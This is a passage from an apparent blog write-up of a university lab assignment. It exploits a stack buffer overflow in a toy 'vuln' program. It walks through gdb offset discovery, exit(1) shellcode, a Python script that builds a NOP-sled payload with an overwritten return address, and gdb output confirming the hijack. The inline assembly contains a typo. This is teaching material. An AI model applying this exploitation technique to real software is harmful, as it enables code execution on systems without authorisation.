&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;B&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;egg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then inside gdb:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gdb vuln
(gdb) break vuln
(gdb) run &amp;lt; egg
(gdb) print &amp;amp;buffer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We saw:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$1 = (char (*)[8]) 0xffffc838
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and after stepping past gets and dumping the stack:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) next
(gdb) x/16xb &amp;amp;buffer
0xffffc838: 41 41 41 41 41 41 41 41
0xffffc840: 42 42 42 42 43 43 43 43
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the layout was:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;buffer[8] at 0xffffc838 → 8 bytes of 'A'&lt;/li&gt;
&lt;li&gt;saved EBP at 0xffffc840 → BBBB&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;saved EIP at 0xffffc844 → CCCC&lt;br&gt;
That confirmed the offsets: 8 bytes to reach EBP, 12 bytes to reach the return address. Classic pattern, nothing mysterious there.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Building and testing the exit(1) shellcode
&lt;/h2&gt;

&lt;p&gt;We decided to build a tiny shellcode that directly calls exit(1) via Linux int 0x80. The idea:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;eax = 1 (sys_exit)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ebx = 1 (exit status)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;int 0x80&lt;br&gt;
We wrote asm.c alike the instructions:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="n"&gt;__asm__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"xor %eax, %eax;"&lt;/span&gt;
&lt;span class="s"&gt;"inc %eax;"&lt;/span&gt;
&lt;span class="s"&gt;"mov %eab, %eax;"&lt;/span&gt;
&lt;span class="s"&gt;"Leave;"&lt;/span&gt;
&lt;span class="s"&gt;"Ret;"&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compiled and disassembled:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcc &lt;span class="nt"&gt;-m32&lt;/span&gt; &lt;span class="nt"&gt;-fno-stack-protector&lt;/span&gt; &lt;span class="nt"&gt;-fno-pie&lt;/span&gt; &lt;span class="nt"&gt;-std&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;c99 asm.c &lt;span class="nt"&gt;-o&lt;/span&gt; asm
objdump &lt;span class="nt"&gt;-d&lt;/span&gt; asm &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; asmdump
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Relevant disassembly showed:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="err"&gt;31&lt;/span&gt; &lt;span class="nf"&gt;c0&lt;/span&gt;          &lt;span class="nv"&gt;xor&lt;/span&gt;   &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;40&lt;/span&gt;             &lt;span class="nf"&gt;inc&lt;/span&gt;   &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;89&lt;/span&gt; &lt;span class="nf"&gt;c3&lt;/span&gt;          &lt;span class="nv"&gt;mov&lt;/span&gt;   &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;ebx&lt;/span&gt;
&lt;span class="nf"&gt;b8&lt;/span&gt; &lt;span class="mi"&gt;01&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="mi"&gt;00&lt;/span&gt; &lt;span class="nv"&gt;mov&lt;/span&gt;   &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="nf"&gt;cd&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;          &lt;span class="nv"&gt;int&lt;/span&gt;   &lt;span class="kc"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the shellcode bytes we care about are:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;\x31\xc0\x40\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We wanted to test these bytes in isolation first, just to make sure the system call really exits with status 1. That step surprisingly took a while because we initially messed up the string literals.&lt;br&gt;
At first, we wrote:&lt;br&gt;
c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x31&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;xc0"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x40"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x89&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;xc3"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;xb8&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x01&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x00&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x00&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x00"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;xcd&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;x80"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which is wrong. That gives you the ASCII characters \x31 etc., not real bytes. When we jumped into that, we got instant segfaults.&lt;br&gt;
We fixed it by using proper C escape sequences (one backslash):&lt;br&gt;
c&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// test_shellcode.c&lt;/span&gt;
&lt;span class="cp"&gt;#define _GNU_SOURCE
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;sys/mman.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="c1"&gt;// exit(1) shellcode&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x31\xc0&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x40&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x89\xc3&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xb8\x01\x00\x00\x00&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
    &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xcd\x80&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;size_t&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;pagesize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sysconf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_SC_PAGESIZE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;mmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pagesize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                     &lt;span class="n"&gt;PROT_READ&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;PROT_WRITE&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;PROT_EXEC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                     &lt;span class="n"&gt;MAP_PRIVATE&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MAP_ANONYMOUS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                     &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shellcode&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)()&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compiled it:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcc &lt;span class="nt"&gt;-m32&lt;/span&gt; &lt;span class="nt"&gt;-fno-stack-protector&lt;/span&gt; &lt;span class="nt"&gt;-fno-pie&lt;/span&gt; test_shellcode.c &lt;span class="nt"&gt;-o&lt;/span&gt; test_shellcode
./test_shellcode
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The exit code printed by echo $? was 1. So the shellcode itself was good. That was our “anchor”: if anything broke later, we knew the shellcode wasn’t the problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Constructing the egg for vuln
&lt;/h2&gt;

&lt;p&gt;Next, we needed to get that shellcode into vuln’s stack and redirect execution there.&lt;br&gt;
We decided on this layout for the egg:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;buffer[8] → NOP sled (\x90 × 8)&lt;/li&gt;
&lt;li&gt;saved EBP → "BBBB"&lt;/li&gt;
&lt;li&gt;saved EIP → address of shellcode on the stack&lt;/li&gt;
&lt;li&gt;shellcode bytes right after that
So Python to generate egg:
python
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;BUF_ADDR&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xffffc838&lt;/span&gt;        &lt;span class="c1"&gt;# from gdb: print &amp;amp;buffer
&lt;/span&gt;&lt;span class="n"&gt;SHELL_ADDR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BUF_ADDR&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;     &lt;span class="c1"&gt;# where shellcode starts after gets()
&lt;/span&gt;
&lt;span class="n"&gt;shellcode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x31\xc0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x40&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x89\xc3&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xb8\x01\x00\x00\x00&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xcd\x80&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;NOP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x90&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;NOP&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;          &lt;span class="c1"&gt;# buffer[8]
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;BBBB&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;          &lt;span class="c1"&gt;# saved EBP
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;I&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SHELL_ADDR&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# saved EIP
&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;shellcode&lt;/span&gt;        &lt;span class="c1"&gt;# shellcode after the return address
&lt;/span&gt;
&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;egg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We confirmed the file contents:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xxd &lt;span class="nt"&gt;-g1&lt;/span&gt; egg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;00000000: 90 90 90 90 90 90 90 90 42 42 42 42 48 c8 ff ff  ........BBBBH...
00000010: 31 c0 40 89 c3 b8 01 00 00 00 cd 80              1.@.........

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;NOP sled&lt;/li&gt;
&lt;li&gt;42 42 42 42 = 'BBBB'&lt;/li&gt;
&lt;li&gt;48 c8 ff ff = 0xffffc848 (shellcode address)&lt;/li&gt;
&lt;li&gt;then the shellcode bytes.
Exactly what we wanted.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  4. Verifying the smash and control flow in gdb
&lt;/h2&gt;

&lt;p&gt;We followed the instructions in the MP1 PDF: use gdb, run with egg, inspect the stack.&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gdb vuln
(gdb) break vuln
(gdb) run &amp;lt; egg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We hit the breakpoint at gets(buffer):&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Breakpoint 1, vuln () at vuln.c:5
5           gets(buffer);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we stepped over gets so that the input from egg actually got copied into buffer:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) next
6       }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And then dumped buffer:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) x/32xb &amp;amp;buffer
0xffffc838: 90 90 90 90 90 90 90 90
0xffffc840: 42 42 42 42 48 c8 ff ff
0xffffc848: 31 c0 40 89 c3 b8 01 00
0xffffc850: 00 00 cd 80 00 c9 ff ff
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So on the stack we had exactly the bytes from egg:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;buffer[8] = 8 NOPs at 0xffffc838&lt;/li&gt;
&lt;li&gt;saved EBP = 0x42424242&lt;/li&gt;
&lt;li&gt;saved EIP = 0xffffc848&lt;/li&gt;
&lt;li&gt;shellcode beginning at 0xffffc848
info frame confirmed the saved EIP:
text
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) info frame
Stack level 0, frame at 0xffffc848:
 eip = 0x565561af in vuln (vuln.c:6); saved eip = 0xffffc848
 called by frame at 0x4242424a
 ...
 Saved registers:
  ebp at 0xffffc840, eip at 0xffffc844
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So when vuln returns, it should jump directly to our shellcode (0xffffc848) on the stack.&lt;br&gt;
We then let it continue:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) continue
Continuing.
[Inferior 1 (process 19164) exited with code 01]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That line is the money shot: “exited with code 01”. No SIGSEGV, no SIGILL. The shellcode executed and called exit(1). That exactly matches the MP1 goal: the non‑terminating program is forced to exit with status 1 via a stack smash.&lt;/p&gt;

&lt;p&gt;With that said, the egg file would only work for the particular buffer address, as we also tried to use the same egg file on a different machine but we get a SIGILL because it had a different address. However, after repeating the same steps/process, we in the end get the result we wanted which is to exit with code 01.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4htbtd0c1eu6856th8x4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4htbtd0c1eu6856th8x4.png" alt=" "&gt;&lt;/a&gt;&lt;br&gt;
Above is the image of the buffer address of the other machine. &lt;/p&gt;

&lt;p&gt;Here is the content of the other "egg" file and the results of running it in this machine.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1gpf74ya54ptesaterx1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1gpf74ya54ptesaterx1.png" alt=" "&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi6he2ta1iiryy7vmmix8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi6he2ta1iiryy7vmmix8.png" alt=" "&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  5. The annoying “outside gdb” segfault
&lt;/h2&gt;

&lt;p&gt;We did notice that running:&lt;br&gt;
text&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./vuln &amp;lt; egg
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;gave 139 (segmentation fault), not 1. That confused us.&lt;br&gt;
What’s going on is that gdb and a normal run can place the stack in slightly different spots because of ASLR and general process startup differences. We hard‑coded 0xffffc838 and 0xffffc848 based on gdb’s stack layout. Outside gdb, &amp;amp;buffer is not exactly 0xffffc838, so the saved EIP points to a bad address and you get a segfault.&lt;br&gt;
The MP1 instructions, though, explicitly focus on using gdb to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;get &amp;amp;buffer&lt;/li&gt;
&lt;li&gt;write an egg&lt;/li&gt;
&lt;li&gt;run vuln &amp;lt; egg in gdb and show the behavior&lt;/li&gt;
